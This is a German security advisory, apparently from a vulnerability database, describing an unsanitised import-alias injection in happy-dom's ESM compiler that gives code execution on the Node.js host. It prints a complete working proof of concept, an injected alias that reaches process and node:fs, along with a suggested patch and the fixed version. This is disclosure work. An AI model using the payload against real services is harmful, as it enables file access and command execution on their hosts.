Happy DOM: Unvollständiger Fix für CVE-2026-33943: unbereinigter Import-Alias führt zur Codeausführung auf dem Host
Zusammenfassung
Der ESM-Compiler in happy-dom@20.14.5 validiert importierte lokale Bindungs-Aliasse nicht, bevor er sie in generierten JavaScript-Code einfügt.
Dadurch kann ein ungültiger ESM-Import-Alias in einen gültigen JavaScript-Destructuring-Standard-Initializer umgewandelt und ausgeführt werden.
Dies scheint ein alternativer Injektionspfad und eine unvollständige Behebung von GHSA-6q6h-j7hj-3r64 / CVE-2026-33943 zu sein. Der frühere Fix validiert importName im lokalen Handler export { ... }, aber der Named-Import-Handler platziert weiterhin ein nicht validiertes alias direkt im Codekontext.
Diese Probleme wurden über die öffentlichen APIs Window und <script type="module"> unter Verwendung des veröffentlichten npm-Pakets happy-dom bestätigt. Das PoC greift auf das Host-Objekt process von Node.js zu, erlangt node:fs und erstellt ein Proof-Verzeichnis auf dem Dateisystem des Hosts.
Bestätigte betroffene Versionen
Das PoC wurde direkt getestet gegen:
happy-dom@17.0.0happy-dom@20.0.0happy-dom@20.1.0happy-dom@20.14.5
Dasselbe PoC löst bei happy-dom@16.8.1 nicht aus.
Der ESM-Compiler wurde mit Commit 7bc831df2 eingeführt und erstmals in v17.0.0 veröffentlicht. Die verwundbare Interpolation ist bis v20.14.5, dem neuesten Release zum Zeitpunkt der Tests, vorhanden.
Vorgeschlagener betroffener Bereich:
>= 17.0.0, <= 20.14.5
Zum Testzeitpunkt war keine gepatchte Version verfügbar.
Voraussetzungen
- JavaScript-Evaluierung ist mit
enableJavaScriptEvaluation: trueaktiviert. - Angreifer-kontrolliertes HTML oder Modulquellcode wird von Happy DOM verarbeitet.
- Dies kann SSR-, Vorschau-, Scraping- oder Testdienste betreffen, die extern bereitgestelltes HTML auswerten.
Technische Details
In packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts teilt der Named-Import-Handler einen Import-Spezifizierer auf und extrahiert dessen Alias:
const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');
if (alias && name) {
properties.push({ name, alias });
}
Anders als beim gepatchten Handler export { ... } wird der Wert von alias nicht als JavaScript-Bezeichner validiert.
Er wird anschließend direkt in die generierte Binding-Syntax eingefügt:
newCodeStart += `let {${properties
.map((property) =>
property.alias
? `"${property.name}": ${property.alias}`
: property.name
)
.join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;
Betrachten Sie den folgenden Quelltext:
import {
missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
Dies ist ungültige ECMAScript-Modulsyntax. Node.js weist sie am Token = ab.
Happy DOM transformiert sie stattdessen in das Äquivalent von:
let {
"missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');
Dieses generierte JavaScript ist gültig. Da das importierte JSON-Objekt keine Eigenschaft missing enthält, wird der Standard-Initializer ausgeführt.
Das Attribut with { type: 'json' } ist relevant, da der Compiler seinen zirkulären Import-Resolver nur für ESM-Importe generiert:
if (!match[7] || match[7] === 'esm') {
resolvableCircularImports.push({ url, properties });
}
Die Verwendung eines JSON-Moduls verhindert, dass der schädliche Alias später in einer Zuweisung für zirkuläre Importe erneut ausgegeben wird, sodass die generierte Funktion syntaktisch gültig bleibt.
Backtick-Zeichenketten überstehen auch die bestehende Anführungszeichen-Bereinigung. Dadurch kann der injizierte Initializer Node.js-Host-APIs erreichen:
globalThis.constructor.constructor(`return process`)()
.getBuiltinModule(`node:fs`)
.mkdirSync(
globalThis.constructor.constructor(`return process`)().cwd() +
`/HAPPY_DOM_RCE_PROOF`
)
Proof of Concept
Das folgende PoC verwendet ausschließlich die öffentliche Happy DOM-API und führt eine harmlose Dateisystemaktion aus, indem es ein Verzeichnis namens HAPPY_DOM_RCE_PROOF erstellt.
1. Erstellen von package.json
{
"name": "happy-dom-import-alias-rce-poc",
"private": true,
"type": "module",
"dependencies": {
"happy-dom": "20.14.5"
}
}
2. Erstellen von dep.json
{}
3. Erstellen von payload.mjs
Diese Datei dient als Kontrolltest, um zu zeigen, dass ein nativer ECMAScript-Parser den Quellcode zurückweist:
import {
missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
4. Erstellen von poc.mjs
import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';
const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });
const window = new Window({
url: 'https://poc.local/',
settings: {
enableJavaScriptEvaluation: true,
suppressCodeGenerationFromStringsWarning: true,
fetch: {
virtualServers: [
{
url: 'https://poc.local/',
directory: process.cwd()
}
]
}
}
});
const script = window.document.createElement('script');
script.type = 'module';
script.textContent = `
import {
missing as injected = globalThis.constructor.constructor(\`return process\`)()
.getBuiltinModule(\`node:fs\`)
.mkdirSync(
globalThis.constructor.constructor(\`return process\`)().cwd() +
\`/HAPPY_DOM_RCE_PROOF\`
)
} from './dep.json' with { type: 'json' };
`;
window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();
if (!existsSync(proofDirectory)) {
console.error('[-] Exploit failed: proof directory was not created.');
console.error(
window.happyDOM.virtualConsolePrinter.readAsString()
);
process.exitCode = 1;
} else {
console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}
await window.happyDOM.close();
5. Kontrolltest ausführen
npm install
node --check payload.mjs
Erwartetes Ergebnis:
SyntaxError: Unexpected token '='
Dies bestätigt, dass der Quellcode kein gültiges ESM ist.
6. Happy DOM-PoC ausführen
node poc.mjs
Erwartetes Ergebnis:
[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF
Die Existenz von HAPPY_DOM_RCE_PROOF bestätigt, dass der über den Import-Alias injizierte Ausdruck ausgeführt wurde und das Host-Dateisystem erreicht hat.
Das PoC wurde auch innerhalb eines Docker-Containers von node:24-alpine verifiziert, wo es Folgendes erstellte:
/poc/HAPPY_DOM_RCE_PROOF
Auswirkungen
Ein Angreifer, der einer Anwendung Modulquellcode übergeben kann, die JavaScript über Happy DOM evaluiert, kann veranlassen, dass syntaktisch ungültige Import-Deklarationen in ausführbares JavaScript transformiert werden.
Dies kann vorgeschaltete Syntaxvalidierungen oder Anwendungsannahmen umgehen, dass fehlerhafte Import-Klauseln zurückgewiesen werden.
Die demonstrierte Payload erreicht Node.js process und integrierte Module. Sie kann daher angepasst werden, um Dateien zu lesen oder zu ändern, auf Umgebungsdaten zuzugreifen oder Betriebssystembefehle mit den Rechten des Happy DOM-Host-Prozesses auszuführen.
Beziehung zu CVE-2026-33943
CVE-2026-33943 behandelt Expression-Injection über eine lokale Export-Deklaration:
export { attacker_expression }
Der dortige Fix fügte eine Bezeichner-Validierung zu importName hinzu, das vom Handler export { ... } verwendet wird:
if (
exportName &&
importName &&
VALID_VARIABLE_NAME_REGEXP.test(importName)
) {
// ...
}
Dieser Bericht betrifft einen anderen Parsing- und Codegenerierungspfad:
import { name as malicious_alias } from './module';
Der unvalidierte Wert ist der lokale Import alias, und die Injektion erfolgt in einem generierten Destructuring-Binding anstelle der in CVE-2026-33943 behobenen Export-Zuweisung.
Das Problem bleibt in Versionen reproduzierbar, die nach dem Fix für CVE-2026-33943 veröffentlicht wurden, einschließlich 20.14.5.
Vorgeschlagener Fix
Validieren Sie die importierte lokale Bindung, bevor sie im Codekontext platziert wird. Die bestehende Funktion VALID_VARIABLE_NAME_REGEXP kann wiederverwendet werden:
- if (alias && name) {
+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {
Ein Regressionstest sollte die schädliche Import-Deklaration kompilieren und ausführen und dann überprüfen, dass der Initializer nicht evaluiert wurde.
Diese Änderung wurde lokal getestet. Die fokussierte Testsuite ECMAScriptModuleCompiler besteht mit 30 Tests, und ESLint meldet keine Fehler.
Zur zusätzlichen Härtung sollten generierte Eigenschaftsschlüssel JSON.stringify() anstelle von manueller Anführungszeichen-Interpolation verwenden.
Verifikationsprotokoll
- Testdatum: 2026-09-17
- Duplikatprüfung aktualisiert: 2026-09-20
- Plattform: Windows 11
- Node.js:
24.14.1 - Neuestes getestetes Paket:
happy-dom@20.14.5 - Quellcode-Tag:
v20.14.5 - Quellcode-Commit:
0d4cdbe7442af49d16b49ddf1acf7cc9684ed318 - Erste bestätigte betroffene Version:
17.0.0 - Bestätigte nicht betroffene Version:
16.8.1 - Docker-Umgebung: Node 24 Alpine
- Bei der Duplikatprüfung wurden keine übereinstimmenden öffentlichen Advisories, Issues, Pull Requests, Commits oder Releases gefunden.
Was zu tun ist
Aktualisieren Sie happy-dom auf Version 21.0.4 oder höher.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | happy-dom | >= 17.0.0, < 21.0.4 | 21.0.4 |
Verweise
- https://github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79
- https://github.com/capricorn86/happy-dom/pull/2537
- https://github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13
- https://github.com/capricorn86/happy-dom
- https://github.com/capricorn86/happy-dom/releases/tag/v21.0.4
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H- Schwäche (CWE)
CWE-94- Plattform
- npm
- Paket
happy-dom- Veröffentlicht
- 23.10.2026
- Aktualisiert
- 29.10.2026 10:00
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-834v-8h66-3h79 - CC BY 4.0
Schwachstellenhistorie: happy-dom
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 7
- Erste → letzte
- 11.2024 10.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 3
- Hoch 3
- Mittel 1
Veröffentlichungen pro Jahr
- 2024: 1
- 2025: 2
- 2026: 4
-
Happy DOM: Unvollständiger Fix für CVE-2026-33943: unbereinigter Import-Alias führt zur Codeausführung auf dem Host dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.